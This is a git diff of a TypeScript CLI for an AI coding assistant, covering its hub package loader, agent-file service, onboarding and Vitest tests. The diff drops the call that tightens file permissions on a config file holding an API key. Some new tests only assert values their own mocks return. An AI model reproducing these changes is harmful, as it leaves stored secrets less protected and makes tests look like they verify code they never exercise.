mockFetch.mockResolvedValueOnce({ - ok: true, - arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)), - }); - - await loadPackageFromHub("owner/rule", ruleProcessor); - - expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { headers: {} }); - }); - - it("should include Authorization header when authenticated", async () => { - const mockAuthConfig = { - accessToken: "test-token-123", - userId: "user123", - }; - (loadAuthConfig as any).mockReturnValue(mockAuthConfig); - (getAccessToken as any).mockReturnValue("test-token-123"); - - const JSZipModule = await import("jszip"); - const JSZip = JSZipModule.default; - - if (typeof (JSZip as any).mockImplementation === "function") { - (JSZip as any).mockImplementation(() => ({ - loadAsync: vi.fn().mockResolvedValueOnce({ - files: { - "README.md": { - dir: false, - async: vi.fn().mockResolvedValue("rule content"), - }, - }, - }), - })); - } else { - return; - } - - mockFetch.mockResolvedValueOnce({ - ok: true, - arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)), - }); - - await loadPackageFromHub("owner/rule", ruleProcessor); - - expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { - headers: { - Authorization: "Bearer test-token-123", - }, - }); - }); - - it("should include Authorization header for MCP requests when authenticated", async () => { - const mockAuthConfig = { - accessToken: "test-token-456", - userId: "user456", - }; - (loadAuthConfig as any).mockReturnValue(mockAuthConfig); - (getAccessToken as any).mockReturnValue("test-token-456"); - - const mcpConfig = { - content: "name: test-mcp\nversion: 1.0.0", - }; - - mockFetch.mockResolvedValueOnce({ - ok: true, - json: vi.fn().mockResolvedValue(mcpConfig), - }); - - await loadPackageFromHub("owner/mcp", mcpProcessor); - - expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { - headers: { - Authorization: "Bearer test-token-456", - }, - }); - }); - it("should load rule content", async () => { - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); - const ruleContent = "# Test Rule\n\nThis is a test rule."; // Check if JSZip is mocked @@ -201,9 +87,6 @@ describe("hubLoader", () => { }); it("should load MCP configuration", async () => { - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); - const mcpConfig = { content: "name: test-mcp\nversion: 1.0.0", }; @@ -222,9 +105,6 @@ describe("hubLoader", () => { }); it("should handle missing files", async () => { - (loadAuthConfig as any).mockReturnValue(null); - (getAccessToken as any).mockReturnValue(null); - // Check if JSZip is mocked const JSZipModule = await import("jszip"); const JSZip = JSZipModule.default; diff --git a/extensions/cli/src/hubLoader.ts b/extensions/cli/src/hubLoader.ts index 412f80208c6..3807daf74e0 100644 --- a/extensions/cli/src/hubLoader.ts +++ b/extensions/cli/src/hubLoader.ts @@ -1,18 +1,13 @@ -import { - AgentFile, - ModelConfig, - parseAgentFile, -} from "@continuedev/config-yaml"; +import { AgentFile, parseAgentFile } from "@continuedev/config-yaml"; import JSZip from "jszip"; -import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; import { env } from "./env.js"; import { logger } from "./util/logger.js"; /** * Pattern to match valid hub slugs (owner/package format) */ -export const HUB_SLUG_PATTERN = /^[A-Za-z0-9._-]+\/[A-Za-z0-9._-]+$/; +const HUB_SLUG_PATTERN = /^[A-Za-z0-9._-]+\/[A-Za-z0-9._-]+$/; /** * Hub package type definitions @@ -70,7 +65,7 @@ export const mcpProcessor: HubPackageProcessor = { /** * Model processor - handles JSON/YAML configuration files */ -export const modelProcessor: HubPackageProcessor = { +export const modelProcessor: HubPackageProcessor = { type: "model", expectedFileExtensions: [".json", ".yaml", ".yml"], parseContent: async (content: string, filename: string) => { @@ -116,8 +111,6 @@ export const agentFileProcessor: HubPackageProcessor = { /** * Generic hub package loader - * Automatically includes authentication headers when user is logged in, - * enabling access to private packages. */ export async function loadPackageFromHub( slug: string, @@ -149,17 +142,7 @@ export async function loadPackageFromHub( } try { - // Load auth config and get access token for private package access - const authConfig = loadAuthConfig(); - const accessToken = getAccessToken(authConfig); - - // Prepare headers with optional authorization - const headers: Record = {}; - if (accessToken) { - headers.Authorization = `Bearer ${accessToken}`; - } - - const response = await fetch(downloadUrl, { headers }); + const response = await fetch(downloadUrl); if (!response.ok) { throw new Error(`HTTP ${response.status}: ${response.statusText}`); @@ -245,6 +228,9 @@ export const loadMcpFromHub = (slug: string) => export const loadModelFromHub = (slug: string) => loadPackageFromHub(slug, modelProcessor); +export const loadPromptFromHub = (slug: string) => + loadPackageFromHub(slug, promptProcessor); + /** * Process a rule specification - supports file paths, hub slugs, or direct content */ @@ -298,22 +284,6 @@ export async function processRule(ruleSpec: string): Promise { return ruleSpec; } -export function isStringRule(rule: string) { - if (rule.includes(" ") || rule.includes("\n")) { - return true; - } - if ( - ["file:/", ".", "/", "~"].some((prefix) => rule.startsWith(prefix)) || - rule.includes("\\") - ) { - return false; - } - if (HUB_SLUG_PATTERN.test(rule)) { - return false; - } - return true; -} - /** * Batch load multiple packages with error handling */ diff --git a/extensions/cli/src/integration/rule-duplication.test.ts b/extensions/cli/src/integration/rule-duplication.test.ts index 3a713170d14..d58d11df3c2 100644 --- a/extensions/cli/src/integration/rule-duplication.test.ts +++ b/extensions/cli/src/integration/rule-duplication.test.ts @@ -1,130 +1,125 @@ -import { decodePackageIdentifier } from "@continuedev/config-yaml"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import { isStringRule } from "src/hubLoader.js"; +import { AssistantUnrolled } from "@continuedev/config-yaml"; +import { describe, expect, it, vi } from "vitest"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; -import { ConfigService } from "../services/ConfigService.js"; - -// Mock the required functions - need to match the import path used by ConfigService -vi.mock("src/hubLoader.js", () => ({ - isStringRule: vi.fn(), -})); - -vi.mock("@continuedev/config-yaml", async (importOriginal) => ({ - ...(await importOriginal()), - decodePackageIdentifier: vi.fn((id) => ({ - type: "slug" as const, - slug: id, - version: undefined, - })), +import { ConfigEnhancer } from "../configEnhancer.js"; + +// Mock the processRule function to avoid network calls +vi.mock("../hubLoader.js", () => ({ + processRule: vi.fn((rule: string) => { + // Simulate hub slug loading - return content for hub slugs + if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) { + return Promise.resolve(`Content for ${rule}`); + } + // Return as-is for direct content + return Promise.resolve(rule); + }), + loadPackagesFromHub: vi.fn(() => Promise.resolve([])), + mcpProcessor: {}, + modelProcessor: {}, })); -vi.mock("../configLoader.js", () => ({ - loadConfiguration: vi.fn(), -})); - -vi.mock("../auth/workos.js", () => ({ - loadAuthConfig: vi.fn(), +// Mock the service container to provide empty agent file state +vi.mock("../services/ServiceContainer.js", () => ({ + serviceContainer: { + get: vi.fn(() => + Promise.resolve({ + agentFile: null, + slug: null, + }), + ), + }, })); -vi.mock("../util/logger.js", () => ({ - logger: { - debug: vi.fn(), - warn: vi.fn(), +vi.mock("../services/types.js", () => ({ + SERVICE_NAMES: { + AGENT_FILE: "agentFile", }, })); describe("Rule duplication integration test", () => { - let configService: ConfigService; - - beforeEach(() => { - vi.clearAllMocks(); - configService = new ConfigService(); - - // Reset mocks to their default behavior - vi.mocked(decodePackageIdentifier).mockImplementation((id) => ({ - uriType: "slug", - fullSlug: { - ownerSlug: "owner", - packageSlug: "package", - versionSlug: "version", - }, - })); - - // Reset isStringRule mock - vi.mocked(isStringRule).mockImplementation((rule: string) => { - // Default implementation - string rules contain spaces/newlines or are local paths - return ( - rule.includes(" ") || - rule.includes("\n") || - rule.startsWith(".") || - rule.startsWith("/") || - !rule.includes("/") - ); - }); - }); + it("should not duplicate rules when using --rule flag", async () => { + const enhancer = new ConfigEnhancer(); - it("should not duplicate rules when using --rule flag", () => { - // Setup mocks - vi.mocked(isStringRule).mockReturnValue(false); // "nate/spanish" is a package identifier + // Initial config without any rules + const initialConfig: AssistantUnrolled = { + name: "Test Assistant", + rules: [], + } as any; // Simulate command-line options with --rule flag const options: BaseCommandOptions = { rule: ["nate/spanish"], }; - // Process the options through the config service - const { injected, additional } = - configService.getAdditionalBlocksFromOptions(options, undefined); + // Enhance config with command-line rules + const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); - // The rule should be processed as a package identifier - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "nate/spanish", - ); - expect(injected).toHaveLength(1); - expect(additional.rules).toHaveLength(0); // Package identifier rules go into injected + // Verify the rule was added exactly once as a RuleObject + expect(enhancedConfig.rules).toHaveLength(1); + expect(enhancedConfig.rules).toEqual([ + { name: "nate/spanish", rule: "Content for nate/spanish" }, + ]); }); - it("should merge command-line rules with existing config rules", () => { - // Setup mocks for different rule types - vi.mocked(isStringRule) - .mockReturnValueOnce(false) // "nate/spanish" is a package identifier - .mockReturnValueOnce(true); // "direct-rule" is a string rule + it("should merge command-line rules with existing config rules", async () => { + const enhancer = new ConfigEnhancer(); + + // Initial config with existing rules + const initialConfig: AssistantUnrolled = { + name: "Test Assistant", + rules: ["existing-rule"], + } as any; // Simulate command-line options with --rule flag const options: BaseCommandOptions = { rule: ["nate/spanish", "direct-rule"], }; - // Process the options through the config service - const { injected, additional } = - configService.getAdditionalBlocksFromOptions(options, undefined); + // Enhance config with command-line rules + const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); - // "nate/spanish" should be a package identifier, "direct-rule" should be a string rule - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "nate/spanish", - ); - expect(injected).toHaveLength(1); // nate/spanish - expect(additional.rules).toEqual(["direct-rule"]); // direct-rule as string + // Verify all rules are present without duplication + expect(enhancedConfig.rules).toHaveLength(3); + expect(enhancedConfig.rules).toEqual([ + "existing-rule", + { name: "nate/spanish", rule: "Content for nate/spanish" }, + "direct-rule", + ]); }); - it("should process package identifiers for hub rules", () => { - // Setup mock - all rules are package identifiers - vi.mocked(isStringRule).mockReturnValue(false); + it("should handle rule content with frontmatter", async () => { + const enhancer = new ConfigEnhancer(); + + // Mock processRule to return content with frontmatter + const { processRule } = await import("../hubLoader.js"); + (processRule as any).mockImplementation((rule: string) => { + if (rule === "nate/spanish") { + return Promise.resolve(`--- +alwaysApply: true +--- + +Always respond in Spanish.`); + } + return Promise.resolve(rule); + }); + + const initialConfig: AssistantUnrolled = { + name: "Test Assistant", + rules: [], + } as any; const options: BaseCommandOptions = { rule: ["nate/spanish"], }; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions(options, undefined); + const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); - // Hub rules should be processed as package identifiers, not string rules - expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( - "nate/spanish", - ); - expect(injected).toHaveLength(1); - expect(additional.rules).toHaveLength(0); // Package identifier rules don't go into additional.rules + // Hub rules should be stored as RuleObject with name and content + expect(enhancedConfig.rules).toHaveLength(1); + const ruleObj = enhancedConfig.rules?.[0] as any; + expect(ruleObj.name).toBe("nate/spanish"); + expect(ruleObj.rule).toContain("Always respond in Spanish."); + expect(ruleObj.rule).toContain("alwaysApply: true"); }); }); diff --git a/extensions/cli/src/onboarding.ts b/extensions/cli/src/onboarding.ts index 2a8162284de..a8f78059164 100644 --- a/extensions/cli/src/onboarding.ts +++ b/extensions/cli/src/onboarding.ts @@ -2,7 +2,6 @@ import * as fs from "fs"; import * as path from "path"; import chalk from "chalk"; -import { setConfigFilePermissions } from "core/util/paths.js"; import { AuthConfig, login } from "./auth/workos.js"; import { getApiClient } from "./config.js"; @@ -45,7 +44,6 @@ export async function createOrUpdateConfig(apiKey: string): Promise { const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey); fs.writeFileSync(CONFIG_PATH, updatedContent); - setConfigFilePermissions(CONFIG_PATH); } export async function runOnboardingFlow( @@ -148,8 +146,6 @@ export async function initializeWithOnboarding( authConfig, configPath, getApiClient(authConfig?.accessToken), - [], - false, ); } catch (errorMessage) { throw new Error( diff --git a/extensions/cli/src/services/AgentFileService.test.ts b/extensions/cli/src/services/AgentFileService.test.ts index 1100095c15e..13e1eb9bd22 100644 --- a/extensions/cli/src/services/AgentFileService.test.ts +++ b/extensions/cli/src/services/AgentFileService.test.ts @@ -1,19 +1,13 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { Mock, vi } from "vitest"; -import { - AgentFileService, - EMPTY_AGENT_FILE_STATE, -} from "./AgentFileService.js"; +import { agentFileProcessor } from "../hubLoader.js"; + +import { AgentFileService } from "./AgentFileService.js"; // Mock the hubLoader module vi.mock("../hubLoader.js", () => ({ loadPackageFromHub: vi.fn(), - loadPackagesFromHub: vi.fn(), - loadModelFromHub: vi.fn(), - mcpProcessor: {}, - modelProcessor: {}, - processRule: vi.fn(), - isStringRule: vi.fn(), + HubPackageProcessor: vi.fn(), agentFileProcessor: { type: "agentFile", expectedFileExtensions: [".md"], @@ -31,401 +25,268 @@ vi.mock("../util/logger.js", () => ({ }, })); -// Mock config module -vi.mock("../config.js", () => ({ - createLlmApi: vi.fn(), - getLlmApi: vi.fn(), -})); - -// Mock auth module -vi.mock("../auth/workos.js", () => ({ - getModelName: vi.fn(), - loadAuthConfig: vi.fn(), -})); - -// Mock the config-yaml package -vi.mock("@continuedev/config-yaml", async (importOriginal) => { - const actual = - await importOriginal(); - return { - ...actual, - }; -}); - -// Mock service container -vi.mock("./ServiceContainer.js", () => ({ - serviceContainer: { - get: vi.fn(), - set: vi.fn(), - reload: vi.fn(), - }, -})); - describe("AgentFileService", () => { - let agentFileService: AgentFileService; + let service: AgentFileService; let mockLoadPackageFromHub: any; - let mockLoadModelFromHub: any; - - const mockAgentFile = { - name: "Test Agent File", - description: "A test agent for integration testing", - model: "gpt-4-agent", - tools: "bash,read,write", - rules: "Always be helpful and concise", - prompt: "You are an assistant.", - }; - - const mockAssistant = { - models: [ - { - provider: "openai", - name: "gpt-3.5-turbo", - roles: ["chat"], - }, - { - provider: "openai", - name: "gpt-4", - roles: ["chat"], - }, - ], - }; - - const mockAuthConfig = { - apiKey: "test-key", - }; beforeEach(async () => { vi.clearAllMocks(); + service = new AgentFileService(); - // Get mock functions + // Get the mock function const hubLoaderModule = await import("../hubLoader.js"); mockLoadPackageFromHub = hubLoaderModule.loadPackageFromHub as any; - mockLoadModelFromHub = hubLoaderModule.loadModelFromHub as any; + }); - // Create service instance - agentFileService = new AgentFileService(); + describe("initialization", () => { + it("should initialize with inactive state when no agent file provided", async () => { + const state = await service.initialize(); + + expect(state).toEqual({ + agentFile: null, + slug: null, + agentFileModelName: null, + agentFileService: service, + }); + }); - // Setup default mocks - mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - mockLoadModelFromHub.mockResolvedValue({ - name: "gpt-4-agent", - provider: "openai", + it("should initialize with inactive state when agent slug is empty string", async () => { + const state = await service.initialize(""); + + expect(state).toEqual({ + agentFile: null, + slug: null, + agentFileModelName: null, + agentFileService: service, + }); }); - }); - describe("initialization", () => { - it("should initialize with empty state when no agent slug provided", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; + it("should reject invalid agent slug format", async () => { + const state = await service.initialize("invalid-slug"); - const result = await agentFileService.initialize( - undefined, - authServiceState, - apiClientState, - ); + expect(state).toEqual({ + agentFile: null, + slug: null, + agentFileModelName: null, + agentFileService: service, + }); - expect(result).toEqual(EMPTY_AGENT_FILE_STATE); - expect(agentFileService.getState()).toEqual(EMPTY_AGENT_FILE_STATE); + // Should not call loadPackageFromHub with invalid slug expect(mockLoadPackageFromHub).not.toHaveBeenCalled(); }); - it("should load and parse agent file when slug is provided", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; + it("should reject agent slug with too many parts", async () => { + const state = await service.initialize("owner/package/extra"); - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); - - expect(mockLoadPackageFromHub).toHaveBeenCalledWith( - "owner/agent", - expect.objectContaining({ - type: "agentFile", - expectedFileExtensions: [".md"], - }), - ); + expect(state).toEqual({ + agentFile: null, + slug: null, + agentFileModelName: null, + agentFileService: service, + }); - const state = agentFileService.getState(); - expect(state.agentFile).toEqual(mockAgentFile); - expect(state.slug).toBe("owner/agent"); + expect(mockLoadPackageFromHub).not.toHaveBeenCalled(); }); - it("should load agent file model when model is specified", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + it("should load valid agent file successfully", async () => { + const mockAgentFile = { + name: "Test Agent", + description: "A test agent", + model: "gpt-4", + tools: "bash,read,write", + rules: "Be helpful", + prompt: "You are a helpful assistant.", }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - expect(mockLoadModelFromHub).toHaveBeenCalledWith("gpt-4-agent"); + const state = await service.initialize("owner/package"); - const state = agentFileService.getState(); - expect(state.agentFileModel).toEqual({ - name: "gpt-4-agent", - provider: "openai", + expect(state).toEqual({ + agentFile: mockAgentFile, + slug: "owner/package", + agentFileModelName: null, + agentFileService: service, }); - }); - }); - - describe("rules parsing", () => { - it("should parse rules when agent file has rules", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, + expect(mockLoadPackageFromHub).toHaveBeenCalledWith( + "owner/package", + agentFileProcessor, ); - - const state = agentFileService.getState(); - expect(state.parsedRules).toBeDefined(); - expect(state.parsedRules).toEqual(["Always be helpful and concise"]); }); - it("should not parse rules when agent file has no rules", async () => { - const agentFileWithoutRules = { ...mockAgentFile, rules: undefined }; - mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutRules); - - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + it("should handle loading errors gracefully", async () => { + mockLoadPackageFromHub.mockRejectedValue(new Error("Network error")); - const state = agentFileService.getState(); - expect(state.parsedRules).toBeNull(); - }); - }); + const state = await service.initialize("owner/package"); - describe("tools parsing", () => { - it("should parse tools when agent file has tools", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; + expect(state).toEqual({ + agentFile: null, + slug: null, + agentFileModelName: null, + agentFileService: service, + }); - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, + expect(mockLoadPackageFromHub).toHaveBeenCalledWith( + "owner/package", + agentFileProcessor, ); - - const state = agentFileService.getState(); - expect(state.parsedTools).toBeDefined(); - expect(state.parsedTools?.mcpServers).toBeDefined(); - expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true); }); - it("should not parse tools when agent file has no tools", async () => { - const agentFileWithoutTools = { ...mockAgentFile, tools: undefined }; - mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutTools); - - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + it("should handle minimal agent file", async () => { + const mockAgentFile = { + name: "Minimal Agent File", + prompt: "", }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + const state = await service.initialize("owner/minimal"); - const state = agentFileService.getState(); - expect(state.parsedTools).toBeNull(); + expect(state).toEqual({ + agentFile: mockAgentFile, + slug: "owner/minimal", + agentFileModelName: null, + agentFileService: service, + }); }); }); - describe("model loading", () => { - it("should not load model when agent file has no model", async () => { - const agentFileWithoutModel = { ...mockAgentFile, model: undefined }; - mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutModel); - - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + describe("state getters", () => { + beforeEach(async () => { + const mockAgentFile = { + name: "Test Agent", + description: "A test Agent", + model: "gpt-4", + tools: "bash,read,write", + rules: "Be helpful", + prompt: "You are a helpful assistant.", }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); - - expect(mockLoadModelFromHub).not.toHaveBeenCalled(); - const state = agentFileService.getState(); - expect(state.agentFileModel).toBeNull(); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await service.initialize("owner/package"); }); - it("should throw error when API client is not available for model loading", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: null }; - - await expect( - agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ), - ).rejects.toThrow( - "Cannot load agent model, failed to load api client service", - ); + it("should return agent file state", () => { + const state = service.getState(); + expect(state.agentFile?.name).toBe("Test Agent"); + expect(state.slug).toBe("owner/package"); + expect(state.agentFile?.model).toBe("gpt-4"); + expect(state.agentFile?.tools).toBe("bash,read,write"); + expect(state.agentFile?.rules).toBe("Be helpful"); + expect(state.agentFile?.prompt).toBe("You are a helpful assistant."); }); }); - describe("error handling", () => { - it("should throw error when agent loading fails", async () => { - mockLoadPackageFromHub.mockRejectedValue(new Error("Network error")); - - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await expect( - agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ), - ).rejects.toThrow("Network error"); + describe("inactive agent file state", () => { + beforeEach(() => { + service.initialize(); + }); - const state = agentFileService.getState(); + it("should return inactive state when no agent file", () => { + const state = service.getState(); expect(state.agentFile).toBeNull(); + expect(state.slug).toBeNull(); }); + }); - it("should throw error for invalid agent slug format", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + describe("partial agent file data", () => { + it("should handle agent file with only name and prompt", async () => { + const mockAgentFile = { + name: "Simple Agent", + prompt: "Simple prompt", }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await expect( - agentFileService.initialize( - "invalid-slug", - authServiceState, - apiClientState, - ), - ).rejects.toThrow( - 'Invalid agent slug format. Expected "owner/package", got: invalid-slug', - ); - }); - it("should throw error when model loading fails", async () => { - mockLoadModelFromHub.mockRejectedValue(new Error("Model load error")); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await service.initialize("owner/simple"); - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await expect( - agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ), - ).rejects.toThrow("Model load error"); + const state = service.getState(); + expect(state.agentFile?.model).toBeUndefined(); + expect(state.agentFile?.tools).toBeUndefined(); + expect(state.agentFile?.rules).toBeUndefined(); + expect(state.agentFile?.prompt).toBe("Simple prompt"); }); - }); - describe("state management", () => { - it("should return correct state after initialization", async () => { - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + it("should handle agent file with empty prompt", async () => { + const mockAgentFile = { + name: "Empty Prompt Agent", + model: "gpt-3.5-turbo", + prompt: "", }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await service.initialize("owner/empty"); - const state = agentFileService.getState(); - expect(state.agentFile).toEqual(mockAgentFile); - expect(state.slug).toBe("owner/agent"); - expect(state.parsedRules).toEqual(["Always be helpful and concise"]); - expect(state.parsedTools?.mcpServers).toBeDefined(); - expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true); - expect(state.agentFileModel).toEqual({ - name: "gpt-4-agent", - provider: "openai", - }); + const state = service.getState(); + expect(state.agentFile?.model).toBe("gpt-3.5-turbo"); + expect(state.agentFile?.prompt).toBe(""); }); + }); +}); - it("should have correct dependencies", () => { - const dependencies = agentFileService.getDependencies(); - expect(dependencies).toEqual(["auth", "apiClient"]); - }); +describe("agentFileProcessor", () => { + it("should have correct type and extensions", () => { + expect(agentFileProcessor.type).toBe("agentFile"); + expect(agentFileProcessor.expectedFileExtensions).toEqual([".md"]); }); - describe("partial data handling", () => { - it("should handle agent file with missing optional properties", async () => { - const partialAgentFile = { - name: "Partial Agent File", - model: "gpt-3.5-turbo", - prompt: "Partial prompt", - // No tools or rules - }; + it("should parse agent file content correctly", () => { + const content = `--- +name: Test Agent +model: gpt-4 +tools: bash,read +--- +You are a helpful assistant.`; + + // Set up the mock to return expected result + const expectedResult = { + name: "Test Agent", + model: "gpt-4", + tools: "bash,read", + prompt: "You are a helpful assistant.", + }; + (agentFileProcessor.parseContent as Mock).mockReturnValue(expectedResult); + + const result = agentFileProcessor.parseContent(content, "test.md"); + expect(result).toEqual({ + name: "Test Agent", + model: "gpt-4", + tools: "bash,read", + prompt: "You are a helpful assistant.", + }); + }); - mockLoadPackageFromHub.mockResolvedValue(partialAgentFile); + it("should validate agent file content", () => { + const validAgentFile = { + name: "Valid Agent", + prompt: "Test prompt", + }; + + const invalidAgentFile = { + prompt: "Test prompt", + // Missing name + }; + + // Set up mock validation responses + (agentFileProcessor.validateContent as Mock) + .mockReturnValueOnce(true) // For valid agent file + .mockReturnValueOnce(false); // For invalid agent file + + expect(agentFileProcessor.validateContent?.(validAgentFile)).toBe(true); + expect(agentFileProcessor.validateContent?.(invalidAgentFile as any)).toBe( + false, + ); + }); - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; + it("should validate agent file with empty name as invalid", () => { + const invalidAgentFile = { + name: "", + prompt: "Test prompt", + }; - await agentFileService.initialize( - "owner/partial", - authServiceState, - apiClientState, - ); + // Mock validation to return false for empty name + (agentFileProcessor.validateContent as Mock).mockReturnValue(false); - const state = agentFileService.getState(); - expect(state.agentFile?.name).toBe("Partial Agent File"); - expect(state.agentFile?.model).toBe("gpt-3.5-turbo"); - expect(state.agentFile?.prompt).toBe("Partial prompt"); - expect(state.agentFile?.tools).toBeUndefined(); - expect(state.agentFile?.rules).toBeUndefined(); - expect(state.parsedRules).toBeNull(); - expect(state.parsedTools).toBeNull(); - }); + expect(agentFileProcessor.validateContent?.(invalidAgentFile)).toBe(false); }); }); diff --git a/extensions/cli/src/services/AgentFileService.ts b/extensions/cli/src/services/AgentFileService.ts index 81dd0e4df40..8220e34f56f 100644 --- a/extensions/cli/src/services/AgentFileService.ts +++ b/extensions/cli/src/services/AgentFileService.ts @@ -1,60 +1,43 @@ -import { - parseAgentFileRules, - parseAgentFileTools, -} from "@continuedev/config-yaml"; - -import { - agentFileProcessor, - loadModelFromHub, - loadPackageFromHub, -} from "../hubLoader.js"; +import { agentFileProcessor, loadPackageFromHub } from "../hubLoader.js"; import { logger } from "../util/logger.js"; -import { BaseService, ServiceWithDependencies } from "./BaseService.js"; +import { BaseService } from "./BaseService.js"; import { serviceContainer } from "./ServiceContainer.js"; -import { - AgentFileServiceState, - ApiClientServiceState, - AuthServiceState, - SERVICE_NAMES, -} from "./types.js"; +import { AgentFileServiceState } from "./types.js"; -export const EMPTY_AGENT_FILE_STATE: AgentFileServiceState = { - agentFile: null, - slug: null, - parsedRules: null, - parsedTools: null, - agentFileModel: null, -}; /** * Service for managing agent file state * Loads agent files from the hub and extracts model, tools, and prompt information */ -export class AgentFileService - extends BaseService - implements ServiceWithDependencies -{ +export class AgentFileService extends BaseService { + /** + * Set the resolved agent file model name after it's been processed + * Called by ConfigEnhancer after resolving the model slug + */ + setagentFileModelName(modelName: string): void { + this.setState({ + agentFileModelName: modelName, + }); + } constructor() { super("AgentFileService", { - ...EMPTY_AGENT_FILE_STATE, + agentFileService: null, + agentFile: null, + slug: null, + agentFileModelName: null, }); } - getDependencies(): string[] { - return [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT]; - } - /** * Initialize the agent file service with a hub slug */ - async doInitialize( - agentFileSlug: string | undefined, - authServiceState: AuthServiceState, - apiClientState: ApiClientServiceState, - ): Promise { + async doInitialize(agentFileSlug?: string): Promise { if (!agentFileSlug) { return { - ...EMPTY_AGENT_FILE_STATE, + agentFileService: this, + agentFile: null, + slug: null, + agentFileModelName: null, }; } @@ -71,40 +54,20 @@ export class AgentFileService agentFileProcessor, ); - // Set the basic agent file state - this.setState({ + return { + agentFileService: this, agentFile, slug: agentFileSlug, - }); - - if (agentFile.model) { - if (!apiClientState.apiClient) { - throw new Error( - "Cannot load agent model, failed to load api client service", - ); - } - const model = await loadModelFromHub(agentFile.model); - this.setState({ - agentFileModel: model, - }); - } - - if (agentFile.rules) { - this.setState({ - parsedRules: parseAgentFileRules(agentFile.rules), - }); - } - - if (agentFile.tools) { - this.setState({ - parsedTools: parseAgentFileTools(agentFile.tools), - }); - } - - return this.getState(); + agentFileModelName: null, // Will be set by ConfigEnhancer after model resolution + }; } catch (error: any) { logger.error("Failed to initialize AgentFileService:", error); - throw error; + return { + agentFileService: this, + agentFile: null, + slug: null, + agentFileModelName: null, + }; } } diff --git a/extensions/cli/src/services/AuthService.refactored.ts b/extensions/cli/src/services/AuthService.refactored.ts new file mode 100644 index 00000000000..c79d563d202 --- /dev/null +++ b/extensions/cli/src/services/AuthService.refactored.ts @@ -0,0 +1,206 @@ +// import { +// AuthenticatedConfig, +// login as doLogin, +// logout as doLogout, +// ensureOrganization, +// isAuthenticated, +// listUserOrganizations, +// loadAuthConfig, +// saveAuthConfig, +// } from "../auth/workos.js"; +// import { logger } from "../util/logger.js"; + +// import { BaseService } from "./BaseService.js"; +// import { AuthServiceState } from "./types.js"; + +// /** +// * Service for managing authentication state and operations +// * Now extends BaseService for common functionality +// */ +// export class AuthService extends BaseService { +// constructor() { +// super("AuthService", { +// authConfig: null, +// isAuthenticated: false, +// }); +// } + +// /** +// * Initialize 